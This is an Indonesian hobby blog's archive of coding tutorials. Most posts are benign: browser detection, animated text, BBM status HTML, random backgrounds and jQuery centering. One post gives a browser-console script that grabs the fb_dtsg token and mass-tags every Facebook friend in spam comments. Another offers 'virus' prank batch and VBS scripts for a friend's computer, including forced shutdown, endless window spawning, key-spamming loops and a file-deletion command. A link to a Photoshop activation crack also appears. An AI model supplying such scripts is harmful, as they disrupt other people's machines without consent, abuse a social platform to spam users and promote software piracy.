CSS

Showing posts with label Tutorial. Show all posts
Showing posts with label Tutorial. Show all posts

Thursday, October 23, 2014

Cara Merubah MiniFace Fifa Online 3 Indonesia

Hallo (Masih Ketemu lagi dengan Saya)Dengan Thread yang BerbedaXd Tentunya :p

Sebenernya kalo dibilang Susah juga gak Susah-susah amat kayanya, Di sini Cuman Download Trus CopasCopy-pasteyg anda download cman itu saja kok.

Oke Karena Saya di sini,Bertujuan Untuk Memudahkan, Untuk Mengganti MiniFace di Game fifa Online 3, Kita Langsung Ke TKP saja oke?
udah, okeh aja,, daripada gak dibagi tar lhoo :P


Mini Face F03

Miniface Logo klub, by : voz.jacki3:
DOWNLOAD DISINI !join group Sblum Download
Miniface Logo klub, by : zhaoyun v.1.5:
DOWNLOAD DISINI !join group Sblum Download
Miniface Logo klub, by : zozozozo09:
DOWNLOAD DISINI !join group Sblum Download

Kini eLLite KeMe sQuad Hadir Di F03



Mohon Maap ( Jika lvl eLLite KeMe Masih Cetek hehehee :v)Karna Baru Bergabung Di FO3 Mas Bro:p

VIDEO TUTORIAL
Kumpulan Miniface PraBayar :)

Kalo Masih Bingung Comment Dibawah


SumberPosting :

Farhan Creativity :)

Wednesday, February 26, 2014

Auto Tag Facebook

Hallo (Masih Ketemu lagi dengan Saya)Dengan Thread yang BerbedaXd Tentunya :p

Sebenernya kalo dibilang Susah juga gak Susah-susah amat kayanya, Di siniCuman CopasCopy-pasteScriptnya Saja kok.

Oke Karena Saya di sini,Bertujuan Untuk Memudahkan Untuk Tag Facebook, Kita Langsung Ke Scriptnya oke?
udah, okeh aja,, daripada gak dibagi tar lhoo :P

Script Auto Tag

var aing = {
 
/**
  Copyright:
  ----------
  ellite keme
  ellite-keme-ngopi.blogspot.com
  ----------
  We Are No Master, No Newbie, We Just Big Family
  Please Don't Remove This Credits (Saya Juga Pengen Terkenal)
  ----------
  **/
 
        posId: "1392568954345286", //ganti dengan ID status
        idGw: "100007765833617", //ganti dengan ID FB kamu
//      idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0],
 
        dtsg: document.getElementsByName(
                "fb_dtsg")[0].value,
        ctLama: /comment_text=(.*?)&/,
        c: 1,
        ctBaru: "comment_text=",
        getPren: function (uid) {
                var a = window.ActiveXObject ? new ActiveXObject(
                        "Msxml2.XMLHTTP") : new XMLHttpRequest;
                if (a.open("GET",
                        "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" +
                        uid +
                        "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ !
                        1), a.send(null), 4 == a.readyState) {
                        var b = JSON.parse(a.responseText.substring(
                                a.responseText.indexOf("{")));
                        return b.payload.entries
                }
                return !1
        },
        hajar: function () {
                aing.koncos = aing.getPren(aing.idGw);
                aing.pale = "ft_ent_identifier=" +
                        aing.posId +
                        "&comment_text=0&" +
            "source=1&" +
            "client_id=1359576694192%3A1233576093&" +
            "reply_fbid" +
            "&parent_comment_id&" +
            "rootid=u_jsonp_3_19&" +
            "ft[tn]=[]&" +
            "ft[qid]=5839337351464612379&" +
            "ft[mf_story_key]=5470779710560437153&" +
            "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" +
                        aing.idGw +
                        "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg +
                        "&phstamp=" + Math.random();
                for (var n = 1; n < aing.koncos.length; n++) {
                        if (fb_dtsg = aing.dtsg, aing.ctBaru +=
                                "Teman%20Facebook%20ke%20" + n + "%20%40[" + aing.koncos[
                                        n].uid +
                                "%3AAAAAAAAAAAA]%20lagi%20apa%20kamu%20^_^%20Maaf%20kalo%20kalian%20udah%20di%20Tag%20;)%20lagi%20nyoba%20anu%20hehehe...%20:)%20B|%20%0A", //message with percent encoding for URIs
                                aing.c++, 7 == aing.c) {
                                with(aing.ctBaru += "&", new XMLHttpRequest) open(
                                        "POST",
                                        "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/
                                setRequestHeader("Content-Type",
                                        "application/x-www-form-urlencoded"
                                ), send(aing.pale.replace(aing.ctLama,
                                        aing.ctBaru));
                                z = setTimeout("function(){asd=0}",
                                        1e3), clearInterval(z), aing.c = 1,
                                aing.ctBaru = "comment_text="
                        }
                }
        }
};
aing.hajar();

AMBIL BAHAN ID AUTO TAG FACEBOOK

  • Siapakan Status, entah foto/status baru/status lama.
  • Ambil ID statusnya :
  • ID Profil Facebook Anda

  • Caranya dengan Buka link : http://graph.facebook.com/(usernamefbkamu)
    Contoh : http://graph.facebook.com/Nothing.Impossiblle
  • Jika Sudah Mendapatkan Semua Idnya Silahkan Edit Scriptnya.

    Jika sudah di edit dengan ID Post,profile anda, Gimana Si cara jalankan Scriptnya?

    Cara Menjalankannya!

    - Mozila (CTRL+SHIFT+K)
    - CHROME (F12)
    Copas Script yang sudah Anda Edit Tadi 
  • Tekan ENTER di Keyboardmu
  • Tunggu dan liat hasilnya.
  • Smoga Tidak Berhasil :P

    Saturday, February 22, 2014

    JavaScript: Browser Name and Version

    https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhct11qj7Dw9uC3oecckNdPOSax1sDzl-jzz4aLQB_qIi1dldJdWOcI809P_7QevNRlGiyl_pNx_Qxz1cbHjX9oYY_oWWvya4fwV05WihBR7Kh-GIl_dm34-XLe110sLP8ksNVwvK-P0ck/s1600/grey_plaid.jpg https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2e68CHW9Mm7XEKzd2Y6iHgTvXiCdf2rqkimAoVl59W005QfoR1w1h5Pwl8lMczh65r4wA9ywMolu5Gmgu7dqnO_OMc3Z316W43pwulilTGDvGDkxf4zxPZa2dFxJZbSKKHMuhxSbClBo/s1600/grey_plaid.png

    Browser Detection

    To establish the actual name of the user's Web browser, we can use the navigator.appName and navigator.userAgent properties.
    Firefox (and some other browsers) may return the string Netscape as the value of navigator.appName for compatibility with Netscape Navigator. However, that navigator.userAgent may be spoofed, too – that is, clients may substitute virtually any string for their userAgent.

    Script Hasil Modif

    function detectBrowser(){
      var nVer=navigator.appVersion;
      var nAgt=navigator.userAgent;
      var browserName =navigator.appName;
      var fullVersion =parseFloat(navigator.appVersion); 
      var majorVersion=parseInt(navigator.appVersion,10);
      var nameOffset,verOffset,ix;
    
      if((verOffset=nAgt.indexOf("Opera"))!=-1){
        browserName="Opera"; 
        fullVersion=nAgt.substring(verOffset+6);
        if((verOffset=nAgt.indexOf("Version"))!=-1){fullVersion=nAgt.substring(verOffset+8)}
      }else if((verOffset=nAgt.indexOf("MSIE"))!=-1){
        browserName="Microsoft Internet Explorer"; 
        fullVersion=nAgt.substring(verOffset+5);
      }else if((verOffset=nAgt.indexOf("Chrome"))!=-1){
        browserName="Chrome"; 
        fullVersion=nAgt.substring(verOffset+7);
      }else if((verOffset=nAgt.indexOf("Safari"))!=-1){
        browserName="Safari"; 
        fullVersion=nAgt.substring(verOffset+7);
        if((verOffset=nAgt.indexOf("Version"))!=-1){fullVersion=nAgt.substring(verOffset+8)}
      }else if((verOffset=nAgt.indexOf("Firefox"))!=-1){
        browserName="Firefox"; 
        fullVersion=nAgt.substring(verOffset+8);
      }else if( (nameOffset=nAgt.lastIndexOf(' ')+1) < (verOffset=nAgt.lastIndexOf('/')) ){
        browserName=nAgt.substring(nameOffset,verOffset); 
        fullVersion=nAgt.substring(verOffset+1);
        if(browserName.toLowerCase()==browserName.toUpperCase()){browserName=navigator.appName}
      }
      if((ix=fullVersion.indexOf(";"))!=-1){fullVersion=fullVersion.substring(0,ix)}
      if((ix=fullVersion.indexOf(" "))!=-1){fullVersion=fullVersion.substring(0,ix)}
      majorVersion=parseInt(fullVersion,10);
      if(isNaN(majorVersion)){
        fullVersion=parseFloat(navigator.appVersion); 
        majorVersion=parseInt(navigator.appVersion,10);
      }
      var tulis=browserName+' '+majorVersion;
      return tulis;
    }
    
    document.write(detectBrowser());

    Java Script

    Farhan Azhar ..i will..   ..kill YOU!!

    Matahari :Assalamu'alaikum, selamat pagi Bulan, sono lo pergi kebarat!
    Bulan :Wa'alaikumsalam, Met pagi uga.. kalem Mat, bete nih gue, mau bikin apaan yeh ?!
    Matahari :Nah, sekarang kita buat adonan kue bolu text yang keren..
    Bulan :Yang kayak gimana?
    Matahari :Nohh, yang kayak header blog Coolest Thing Ever
    ini contohnya

    Bulan : Oohh.., cara buatnya gimana Mat?
    Matahari : Uke, nih gue kasih..


    Sedot ampe abis yah cendolnya..

    <script language="JavaScript1.2">
    
    //tambahkan spasi di ujung text sebanyak jumlahHurup + jumlahHurup2
    var tulisan = "Coolest Thing Ever Ever Ever forEver Ever and nEver          "
    var warnaBekgron = "transparent"
    var warnaHurup = "red"
    var warnaHurup2 = "green"
    var warnaHurup3 = "skyblue"
    var kecepatan = 100    // Kecepatan Text warna melintas (lebih kecil - lebih cepet)
    var jumlahHurup = 6    // jumlah warna huruf melintas
    var jumlahHurup2 = 3  // Jumlah warna huruf melintas2 (0 buat gak pake warna kedua)
    var jumlahHurup3 = 2
    var jeda = 0    // Lamanya Penjedaan
    var n = 0
    
    //jangan diedit kalo ga ngarti, entar lecet, kecuali mau jadi orang pinter, edit noh text yang dibawah
    
    if (document.all||document.getElementById){
      document.write('<font color = "' + warnaBekgron + '">')
    
        for (m = 0; m < tulisan.length; m++)
          document.write('<span id = "NamPang' + m + '">' + tulisan.charAt(m) + '</span>')
          document.write('</font>')
    }
    else
    document.write(tulisan)
    
    
    function hurupKe(number){
      var nihDia = document.all? eval("document.all.NamPang" + number) : document.getElementById("NamPang" + number)
      return nihDia
    }
    
    
    function kilapin(){
      //ngerubah warna semua huruf jadi warnaBekgron
      if (n==0){
        for (m = 0; m < tulisan.length; m++)
          hurupKe(m).style.color = warnaBekgron
      }
    
      //nyari muter-muter sambil ngerubah warnaHurup
      hurupKe(n).style.color = warnaHurup
    
      if (n > jumlahHurup-1) 
        hurupKe(n-jumlahHurup).style.color = warnaHurup2
    
      if (n > (jumlahHurup + jumlahHurup2)-1) 
        hurupKe(n-jumlahHurup - jumlahHurup2).style.color = warnaHurup3
    
      if (n > (jumlahHurup + jumlahHurup2 + jumlahHurup3)-1) 
        hurupKe(n-jumlahHurup - jumlahHurup2 - jumlahHurup3).style.color = warnaBekgron
    
      if (n < tulisan.length-1)
        n++
      else{
        n = 0
        clearInterval(kemilau)
        setTimeout("hajarGan()",jeda)
        return
      }
    }
    
    
    function hajarGan(){
      if (document.all||document.getElementById)
        kemilau = setInterval("kilapin()",kecepatan)
    }
    
    
    hajarGan()
    </script>
    
    Matahari :Explanation 
    • Text berwarna Merah bisa diganti sesuai keinginan elo
    • Text berwarna Biru cuma komen..
    Bulan :Mansstabb, pasangin di mana ?
    Matahari :Pasangin di html Javascript

    Matahari :Noh Begenooh...
    Bulen :Tengkiw gan... Alhamdulillah..
    Matahati :Uke, cepet pegi..!!
    Bulen :Assalamu'alaikum..
    Matahari :Wa'alaikum salam..

    Friday, February 21, 2014

    Jahilin Computer Temen Dengan Virus Pake Java Script

    Trik ini bisa kita pakai ,untuk menjahili computer seseorang gan. Yang harus agan siapin adalah Program NotepadDan copy script di bawah ke dalam notepad.
    1.message yang nongol melulu
    @ECHO off :Begin msg * muka agan jelek msg * ngaca dulu gih msg * hayo lo gan,cpu ente ane acak2 msg * ud install ulang aja msg * biar masalah nya kelar GOTO BEGIN save namafile.BAT

     2.bikin shutdown+message @echo off msg * apaan sih lo shutdown -s -c "Error! muka agan standar abis" save namafile.BAT

     3.Mainin Caps Lock button Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop save namafile.vbs

     4.buka tutup CD/DVD Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop save namafile.vbs

     5.bikin vbscript nongol melulu Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop save namafile.vbs

      6.tekan tombol backspace melulu MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop save namafile.vbs

      7.otomatis ngetik "agan jelek banget sih" di notepad/word Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "agan jelek banget sih!!!" loop save namafile.vbs

      8.buka notepad trus menerus @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top save namafile.BAT

      9.otomatis buka notepad lalu ngetik apa yg agan mau WScript.Sleep 1800 WScript.Sleep 100 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 10 WshShell.AppActivate "Notepad" WScript.Sleep 50 WshShell.SendKeys "a" WScript.Sleep 50 WshShell.SendKeys "gan " WScript.Sleep 50 WshShell.SendKeys "ma" WScript.Sleep 50 WshShell.SendKeys "ho" WScript.Sleep 50 WshShell.SendKeys " ba" WScript.Sleep 50 WshShell.SendKeys "ng" WScript.Sleep 50 WshShell.SendKeys "et" WScript.Sleep 50 WshShell.SendKeys " d" WScript.Sleep 50 WshShell.SendKeys "e" WScript.Sleep 50 WshShell.SendKeys " h" WScript.Sleep 50 WshShell.SendKeys "!" WScript.Sleep 50 WshShell.SendKeys "!! " save namafile.vbs scrip tambahan @echo off title quiz hari ini menu cls echo jika agan kena virus apa yang agan lakukan pause echo pilih yang mana: echo 1. matiin computer echo 2. format aja echo 3. bingung ahh set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:\xxx if %input%==3 @ECHO off msg * muka agan jelek sih msg * ngaca dulu gih msg * hayo lo gan,cpu ente ane acak2 msg * ud install ulang aja msg * biar masalah nya kelar, hihihi @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top />

    Thursday, February 20, 2014

    Simple Blog tapi Keren (Hasil sendiri, bikinan sendiri, kepuasan tersendiri)


    Hasil sendiri, bikinan sendiri, kepuasan tersendiri wwkkkkk.. elo aja onoh sendiri XD.

    Copy-Paste kalo buat belajar emang Oke, tapi mau sampe kapan?,

    Hampir mirip kaya Hewan yang diburu, Tanaman yang ditebang wkwkk.. Lebay Anjrit :P

    Lama kelamaan mereka akan punah, dan.. gak ada lagi yang bisa diburu,, .. gak ada lagi yang bisa ditebang .. gak ada lagi yang bisa di copy, gak ada lagi yang bisa di paste

    Hey,, kalo mereka bisa kenapa kita enggak?!
    Meraka Makan Nasi .. Kita juga Belom Makan Nasi Dari Pagi XD .. Tolongin Saya.. Pak.. XDD


    Udahan ah Lebay Nya :P
    NEXT >> Basic Template

    Ganti Background >>

    Nice Link I've found.
    Adobe_Photoshop_CS2_activation_crack

    Source : http://farhan-creativity.blogspot.com/2011/02/simple-blog-tapi-keren.html

    Saturday, February 15, 2014

    Cara Membuat Status BBM Warna-Warni Dengan HTML


    Membuat blog menjadi Beautiful itu impian semua orang apalagi ditambah MP3 Player blog kalian akan Cetarr Membahana.. Silahkan pasang lagu sesuai Kontroversi Hati kalian masing-masing.

    Gimana Si Membuat Status BBM Warna-Warni Dengan HTML

    Bagaimana ya Caranya yaa? (coba tanyakan kepada rumput yang bergoyang :P) Oke Langsung Aja Ke KTP TKP

    Cara Membuat Status BBM Warna-Warni Dengan HTML

      Cara Membuat Status BBM Warna-Warni Dengan HTML - Ada yang baru dari BBM For Android. Setelah BBM melakukan update terbarunya dengan mengusung fitur Find Friends (mencari teman tanpa menggunakan PIN BBM), kini status BBM Android anda bisa berubah warna berubah text style nya sesuai keinginan. Bisa merah, kuning, hijau, biru, abu-abu, apapun yang anda mau.

      Trik ini saya temui pada saat saya melihat ada sebuah screenshot status BBM yang dikirim di suatu komunitas di Facebook memperlihatkan status BBM nya warna-warni ketika dilihat oleh sesama pengguna BBM For Android. Sontak seketika itu juga banyak yang mencobanya dan kebanyakan dari mereka mengatakan berhasil.

      Meski begitu, disisi lain tak sedikit juga yang mengatakan bahwa ini berita hoax karena tidak meyakinkan dan terlihat editan. Tapi itu tidak benar.

      Tekniknya, status BBM For Android sejatinya bisa membaca bahasa HTML seperti font size, font style(bold,underline,italic),fontcolor(red,green,blue).

      Cara Membuat Status BBM Warna-Warni Dengan HTML

    Status Huruf Besar

    Tambahkan tag HTML <h1>, <h2>, <h3>, <h4>, atau <h5> di bagian awal status. Contoh :
    <h1>Ini Status Besar

    Status Huruf Tebal

    Tambahkan tag HTML <b> di bagian awal status. Contoh :

    <b>Ini Status Tebal

    Status Huruf Miring

    Tambahkan tag HTML <h1>, <h2>, <h3>, <h4>, atau <h5> di bagian awal status. Contoh :
    <h1>Ini Status Besar

    Status Garis Bawah

    Tambahkan tag HTML <u> di bagian awal status. Contoh :
    <u>Ini Status Garis Bawah

    Status berwarna

    Tambahkan tag HTML <font color=XXX> di bagian awal status. Contoh :
    <font color=red>Ini Status Berwarna Merah
    XXX bisa diisi dengan tag warna (red, green, blue, dll) atau bisa diisi juga dengan kode warna HTML misalnya #000000, #FFFFFF, #3E3E3E, dan lain sebagainya.

    Random Blackground For Your Blog

    <script type="text/javascript">
    //Bikin function biar script bisa di panggil dari luar
    function gantiWolPep(){
      //Bikin Array buat daftar wallpapers
      var emoWalPep=[
        "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQBaD1sHvxceTgTsjp4GoaTwyhBLf-98uBQgZt6XxGHrCxowqEZXJ3YMDLKYEcF0hosSTn7bnjK3ZEfmkbXgurTlGw85fTlMvxlLK61D19Pcv4Rj0qdjgOsJB8vVrhihvU-qN79f1VHhM/s1600/Emo_Wallpapers_78+%28darkwallz.blogspot.com%29.jpg", 
        "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMBEwRuTgIN5QPloxbsaOY6vqJrZwr4Ijo5OGz9ve76Ez1ITZGVebJKgp1Y4r7UyQxmojC-uw8YILVDlzodRQ0YaTYusn3yMFQAXDcTkr4AYuv_STDNjQRYLs-zcMKJyi7zN6R6TChLJU/s1600/Emo_Wallpapers_71+%28darkwallz.blogspot.com%29.jpg", 
        "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMu-VpJ5q07-Eik2XhZmbfvXJWeL5ZJE88rf6nGpnqrli5mKohLRt1GNw2BjId3DaYpwwL5akXgHBcUWt6SWtlzrXGUS3-n2JpkSwtuSN9_qlqRs1bXGfODgUEXocbPaFbqpWyVSbNY4/s1600/Emo_Wallpapers_63+%28darkwallz.blogspot.com%29.jpg"
      ];
      //Acak urutan daftar wallpapers pake Math.random()
      emoWalPep=emoWalPep.sort(function() {return 0.5 - Math.random()});
      //Ganti background body dengan warna latar transparent, gambar ngulang ke bawah, gak ikut nge-gulung, vertikal top horizontal tengah
      document.body.style.background='transparent url('+emoWalPep[0]+') repeat-y fixed top center';
      //Ukuran background menuhin lebar ke samping
      document.body.style.backgroundSize='100%';
    }
    //Langsung ganti wallpaper pas halaman di load
    gantiWolPep();
    </script>
    
    <!-- Tombol buat ganti wallpaper -->
    <center><a onClick="gantiWolPep()" style="cursor:pointer;" class="uiButton">Gentos Kertas Bilik</a></center>

    ..Monggo diCobian..

    Ganti Kerta Dinding..!!

    jQuery: Do More

    jQuery itu JavaScript Library cara cepat dan singkat yang menjadikan alur document HTML menjadi lebih sederhana, penanganan event, membuat animasi, dan interaksi Ajax untuk pengembangan web yang cepat. jQuery didesain buat ngerubah cara lo nulis Javascript.

    Pastinya jQuery ini gak bakalan jalan kalo kita belom nge-load Library-nya. Kalo gak mau atau males hosting Library sendiri, kita bisa pake punya orang :D, misal punya google kaya dibawah ini.

    <script src='"http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js" type="text/javascript"></script>

    Sample 1

    Click --> slideToggle('slow')

    Sample 2

    Click --> show('slow')

    www.google.co.id/search?q=belajar+jQuery Coy

    jQuery Elemen Vertikal Horisontal

    Artikel kali ini akan membahas tentang cara memposisikan suatu elemen agar berada tepat di tengah halaman secara seimbang baik secara vertikal maupun horisontal menggunakan jQuery. Selain itu kita akan membandingkan antara centering elemen menggunakan CSS murni dengan centering elemen menggunakan jQuery. Setelah dipahami silahkan memilih mana cara yang terbaik untuk memposisikan suatu elemen pada bagian tengah halaman. Cara ini biasanya digunakan untuk menampilkan popout baik yang berisi gambar, peringatan atau pun iklan.

    CSS Centering Horisontal

    Kode CSS dibawah ini merupakan cara yang paling banyak digunakan untuk memposisikan suatu elemen agar berada di tengah halaman secara horisontal namun tidak jika dilihat dari sisi vertikal.
    .elemen{
        width: 250px;
        height: 100px;
        margin: 0 auto;
    }
    
    Kunci untuk memposisikan elemen ini ada pada kode margin: 0 auto, yang jika kita jabarkan maka; elemen memiliki jarak margin atas bawah sebesar 0, dan memiliki jarak margin kiri kanan dengan pengesetan auto. auto digunakan untuk menyesuaikan elemen secara otomatis sesuai dengan lebar halaman.

    CSS Centering Horisontal dan Vertikal

    Dibawah ini kode CSS yang sering digunakan untuk memposisikan elemen agar berada ditengah-tengah halaman secara horizontal dan vertikal. Namun terkadang menghasilkan posisi yang tidak simetris (jika salah perhitungan) apabila jarak diukur antara sisi kiri dengan sisi kanan, sisi atas dengan sisi bawah.
    .elemen{
        width: 250px;
        height: 100px;
        position: absolute;
        margin: -50px 0 0 -125px;
        left: 50%;
        top: 50%;
    }
    
    Kunci untuk memposisikan elemen ini ada pada kode:
    1. position: absolute = ini digunakan untuk memposisikan elemen agar elemen memiliki posisi yang absolut (mutlak) terhadap halaman. Maksudnya, agar elemen tidak mengikuti pada aturan-aturan lain yang diterapkan pada elemen lain diluar dirinya.
    2. margin: -50px 0 0 -125px = ini merupakan kunci untuk memposisikan elemen. Nilai-nilai ini diperoleh dari hasil pembagian lebar dan tinggi elemen. Margin atas di beri nilai -50px, ini diperoleh dari pembagian height. Height atau tinggi di set dengan nilai 100px, maka apabila di bagi 2 (100:2) akan di peroleh nilai 50px. Nilai 50px ini yang kemudian digunakan untuk menentukan margin atas. Sedangkan margin kiri di beri nilai -125px, ini juga di perolah dari pembagian width. Width atau lebar di set dengan nilai 250px, maka apabila di bagi 2 (250:2) akan diperoleh nilai 125px. Kemudian nilai 125px ini digunakan untuk menentukan margin kiri. Namun kenapa margin kiri dan margin atas diberi nilai negatif?
    3. left:50% dan top:50% = nilai 50% digunakan untuk memposisikan elemen agar berada tepat di tengah-tengah halaman, sehingga jarak elemen dari atas halaman dan dari kiri halaman ditentukan setengahnya atau 50%. Namun harus diingat, nilai 50% ini akan membuat elemen berada tepat ditengah-tengah halaman seandainya elemen tersebut memiliki luas 1px. Sedangkan elemen yang di buat memiliki lebar 250px dan tinggi 100px.
    4. Perhatikan gambar di bawah ini! Elemen yang berwarna kuning adalah posisi elemen semula ketika semua margin (atas bawah kiri kanan) diberi nilai 0. Itulah mengapa hasil pembagian lebar (125px) dan hasil pembagian tinggi (50px) kemudian di ubah menjadi minus, tujuannya agar posisi titik tengah dari elemen benar-benar berada di tengah-tengah halaman.

    jQuery Centering Horisontal dan Vertikal

    Penggunaan script jQuery ini sebenarnya untuk menyederhanakan penggunaan kode CSS, sehingga ketika kita ingin memposisikan sebuah elemen tepat di tengah-tengah layar, maka tidak diperlukan perhitungan seperti halnya cara diatas (CSS Centering Horisontal dan Vertikal). jQuery akan melakukan perhitungan sendiri secara otomatis, sehingga tidak perlu lagi menuliskan nilai-nilai (margin, left, top) secara manual. Cukup dengan mendeklarasikan elemen, kemudian integrasikan elemen tersebut dengan jQuery, seperti dibawah ini:
    Kode CSS Dibawah ini adalah properti CSS untuk elemen:
    .elemen{
        width:250px;
        height:100px;
    }
    
    Kode diatas hanya menentukan lebar dan tinggi dari elemen tanpa menentukan posisi elemen terhadap halaman.
    Kode jQuery Dibawah ini adalah kode jQuery untuk membuat posisi elemen otomatis di tengah halaman:
    $(document).ready(function () {
    
        $(window).resize(function () {
    
            $('.elemen').css({
                position: 'absolute',
                left: ($(window).width() - $('.elemen').outerWidth()) / 2,
                top: ($(window).height() - $('.elemen').outerHeight()) / 2
            });
    
        });
    
        $(window).resize();
    
    });
    
    Kerja Kode jQuery
    $(window).resize
    
    Ini terdiri dari 2 kode, kode awal berfungsi untuk merekam lebar dan tinggi halaman yang sedang dibuka secara kontinyu, dan kode yang terakhir untuk menjalankan fungsi secara kontinyu.
    $('.elemen').css({
    
    Ini digunakan untuk menambahkan poperti css pada elemen
    position: 'absolute'
    
    Ini menambahkan properti position pada elemen
    left: ($(window).width() - $('.elemen').outerWidth()) / 2
    
    Jika anda memahami CSS Centering Horisontal dan Vertikal maka kode jQuery inilah yang berfungsi untuk mengambil alih proses perhitungan manual menjadi otomatis. Silahkan perhatikan dengan seksama.
    1. left untuk menambahkan properti css pada elemen.
    2. ($(window).width() untuk mengambil lebar halaman secara kontinyu kemudian di kurangi...
    3. $('.elemen').outerWidth()) / 2 untuk mengambil keseluruhan lebar elemen termasuk margin secara kontinyu kemudian di bagi 2
    Demikian selanjutnya dengan top: ($(window).height()-$('.elemen').outerHeight())/2 Selamat mencoba dan semoga berhasil. Happy Blogging :)

    handapeunpost